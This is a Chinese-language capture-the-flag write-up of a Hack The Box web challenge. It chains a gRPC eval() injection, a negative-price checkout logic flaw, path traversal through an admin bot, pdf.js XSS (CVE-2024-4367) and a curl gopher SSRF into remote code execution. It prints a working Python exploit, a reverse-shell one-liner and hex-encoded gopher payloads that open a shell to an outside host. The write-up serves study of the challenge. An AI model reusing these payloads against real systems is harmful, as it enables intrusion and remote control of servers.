ArtificialUniversity是Hack The Box上INSANE难度Chanllenges的web题,它模拟了在线教育平台购买课程的商城模块,项目源码分为grpc开启的product_api服务和flask开启的store商城web两个部分,题目对外只开放了web端口,推测要在web找到去触发grpc机制的点来完成题目,最后的rce应该是在grpc端。因此本地搭建环境后先分析api部分。
GRPC
在api.py中的GenerateProduct调用了eval函数,而全文只有GetNewProducts这个对外的函数调用了GenerateProduct函数,如果找到可以控制price_formula参数的方法再调用GetNewProducts即可命令执行。
在api.py中还有一个UpdateService函数根据传入的字典可修改键值对属性,其被对外函数DebugService调用。
而DebugService的作用是接收客户端传来的参数然后调用UpdateService。
因此可构造利用链,先调用DebugService修改"price_formula"为要执行的命令,然后调用GetNewProducts 来触发 eval,在deepseek的帮助下完成如下exp。通过项目自带的proto文件生成grpc模块命令是:
python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. product.proto
import grpc
import product_pb2
import product_pb2_grpc
from google.protobuf.struct_pb2 import Struct
def exploit():
# 连接到 gRPC 服务
channel = grpc.insecure_channel('127.0.0.1:50051') # 替换为目标服务地址
stub = product_pb2_grpc.ProductServiceStub(channel)
# 构造恶意请求,设置 price_formula 为命令执行代码
merge_request = product_pb2.MergeRequest()
merge_request.input['price_formula'].string_value = "__import__('os').system('touch /tmp/pwn')"
# 利用原生python反弹shell
# merge_request.input['price_formula'].string_value = '''__import__('os').system('python3 -c \\'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4242));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")\\'')'''
# 调用 DebugService 接口,传入恶意的 MergeRequest
print("[*] Sending malicious DebugService request...")
stub.DebugService(merge_request)
# 调用 GetNewProducts 来触发 eval 执行命令
print("[*] Triggering GenerateProduct to execute the payload...")
response = stub.GetNewProducts(product_pb2.Empty())
print("Response received:", response)
if __name__ == "__main__":
exploit()
在本地环境命令执行复现成功后,需要考虑的如何在web端利用这样的exp
WEB
找寻注入、上传等漏洞无果后开始逐一分析ruotes.py下的各个接口。其中/admin/xxxx均是需要admin账号登录才能访问的内容。
/checkout/success
在尝试找越权漏洞时发现/checkout/success接口发现一处可疑操作,可以看到前面的判断符号条件后会自动传入admin的账号和密码去调用bot_runner函数。
跟入bot_runner函数,其作用是模拟客户端通过firefox浏览器访问获取支付订单生成的pdf,但payment_id是可控的因此当payment_id是../../../../../../admin/xxx时其过程就是firefox以admin的身份访问http://127.0.0.1:1337/admin/xxx.pdf,因为是模拟的浏览器操作再加上#作为片段标识符"../../../../../../admin/xxx#"浏览器会截断后面的内容,以此实现admin身份触发http://127.0.0.1:1337/admin/xxx接口的内容。
但现在还有个问题要触发bot_runner函数,需要先满足前面的条件if amt_paid >= order.price,否则会直接跳转error.html,而通读全文可知amt_paid的值是0无法改动,也就是说只有传入的订单价格需要为负数才可满足此条件。接下来需要考虑的就是怎么创建一个price小于0的订单。
/checkout
来到创建订单的接口/checkout可以看到有很奇怪的逻辑,当我们传入product_id,会进入if product_id:语句的代码段直接生成默认的订单信息,传入price等参数不会对订单产生任何影响,但是当我们传入的参数没有product_id但是包括price等另外四个完整的参数时会使得if product_id and not session.get("loggedin")结果为false,从而跳过登录验证直接执行后续的代码(但因为传递的参数有一个user_id所以这个绕过登录验证没有什么实际意义,为后续方便得到order_id还是建议登录后进行接下来的操作),而if not product_id and (not price or not title or not user_id or not email):这整条判断语句的结果也会是false使得程序继续往后运行,因为没有prodct_id判断语句if product_id:会执行else的分支语句从而创建一个由用户控制内容的订单。
用户可以据此创建一个price为负数的订单。
登录后访问/subs接口去获取创建price为负数的订单的order_id。
结合前面的/checkout/success接口,可实现访问admin接口的完整利用/checkout/success?order_id=6&payment_id=../../../../../admin/xxx,但是这个利用特别受限,只能像目标接口发送get请求,而且整个过程是服务器上通过firefox访问的也无法看到反馈。接下来要做的就是找/admin相关的接口找到可利用的点。
/admin/view-pdf
在admin的接口下找到一个view-pdf接口。这个接口可以实现根据url参数预览目标pdf内容。
在本地测试这个接口(考虑靶场是否出网情况也要在靶场上测试,发现可以让靶机访问到vps放的pdf)。
其实到此处已经束手无策了,仅有一个访问pdf的功能,其它接口也因为只能传入GET请求而难以利用,在查询资料时找到f1yth1ef师傅提供的一个思路。可以利用在一个名为pdf.js的xss漏洞,我们可以构造一个自动跳转目标路径并携带post内容的payload,而服务器在模拟firefox打开这个pdf时就可以实现发送post请求访问/admin其它接口。
/admin/api-health
以post请求api-health接口服务器会调用get_url_status_code函数。
跟入get_url_status_code函数,其功能是利用subprocess模块模拟终端使用curl发送请求。
根据f1yth1ef师傅的思路我们可以将前面grpc的请求转换成gopher协议的操作即可被curl发送的类似ssrf打内网redis的利用链。接下来需要做的就是将分析grpc部分构造的exp转换成gopher协议。
gopher转换
首先在本地运行api.py,用wireshark捕获exp执行过程。打开tcp流复制请求部分的raw数据。
将下面这个转换脚本中的raw_hex部分替换为复制的raw数据并运行
import binascii
import urllib.parse
def hex_to_gopher(hex_str: str) -> str:
"""直接转换纯Hex字符串到gopher URL"""
# 清理非Hex字符
cleaned = hex_str.replace(" ", "").replace("\n", "").strip()
# 验证Hex长度
if len(cleaned) % 2 != 0:
raise ValueError("无效的Hex长度")
try:
binary = binascii.unhexlify(cleaned)
except binascii.Error as e:
raise ValueError(f"Hex解码失败: {str(e)}")
# 基础协议验证
if not binary.startswith(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'):
raise ValueError("无效的HTTP/2魔术字节")
# 生成gopher URL
encoded = urllib.parse.quote(binary, safe='')
return f"gopher://127.0.0.1:50051/_{encoded}"
# 输入数据(已清理的连续Hex)
raw_hex = """
505249202a20485454502f322e300d0a0d0a534d0d0a0d0a000024040000000000000200000000000300000000000400400000000500400000000600004000fe0300000001000004080000000000003f0001
000000040100000000
0000e101040000000140053a70617468242f70726f647563742e50726f64756374536572766963652f446562756753657276696365400a3a617574686f726974790f6c6f63616c686f73743a35303035318386400c636f6e74656e742d74797065106170706c69636174696f6e2f677270634002746508747261696c6572734014677270632d6163636570742d656e636f64696e67176964656e746974792c206465666c6174652c20677a6970400a757365722d6167656e7430677270632d707974686f6e2f312e37302e3020677270632d632f34352e302e3020286c696e75783b2063687474703229000004080000000001000000050000ce00010000000100000000c90ac6010a0d70726963655f666f726d756c6112b4010ab1015f5f696d706f72745f5f28276f7327292e73797374656d2827707974686f6e33202d63205c27696d706f727420736f636b65742c6f732c7074793b733d736f636b65742e736f636b657428293b732e636f6e6e6563742828223137322e31372e302e31222c3637363729293b5b6f732e6475703228732e66696c656e6f28292c66642920666f7220666420696e2028302c312c32295d3b7074792e737061776e28222f62696e2f6261736822295c27272900000408000000000000000005
0000080601000000002c20317a14a3fad2
000008060000000000deac00f8ef07f63c
00003501040000000340053a70617468262f70726f647563742e50726f64756374536572766963652f4765744e657750726f6475637473c38386c2c1c0bf00000408000000000300000005000005000100000003000000000000000408000000000000000005
00000806010000000049be420c8749b031
"""
try:
# 生成URL
gopher_url = hex_to_gopher(raw_hex)
print("成功生成gopher URL:")
print(gopher_url)
except ValueError as e:
print("错误:", str(e))
得到gohper的数据
先在本地测试一下直接用curl命令能否执行exp中的touch /tmp/pwn命令。可能是粘包、服务器响应等问题,在运行多次curl命令发送payload后才能成功执行touch命令。
至此所需的利用条件已全部找到。
完整利用
首先用wireshark捕获通过exp反弹shell的请求,复制其raw数据,通过gopher转换脚本得到payload。
然后通过CVE-2024-4367漏洞制作一个可自动跳转至/admin/api-health并携带cookie和post内容为url=gopher://.....请求的pdf,关键payload如下所示。
将pdf放在可被靶场访问的vps上并开启web服务。
另起一个终端开启nc监听,等待后续操作后反弹shell。
不带product_id参数触发/checkout的逻辑漏洞创建一个price为负数的订单
然后访问checkout/success使用携带price为负数的订单id去访问/admin/view-pdf接口使服务器访问pdf触发xss跳转执行payload。
反弹shell得到flag。
参考链接
https://www.freebuf.com/articles/web/410492.html
https://cloud.tencent.com/developer/article/2420071
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)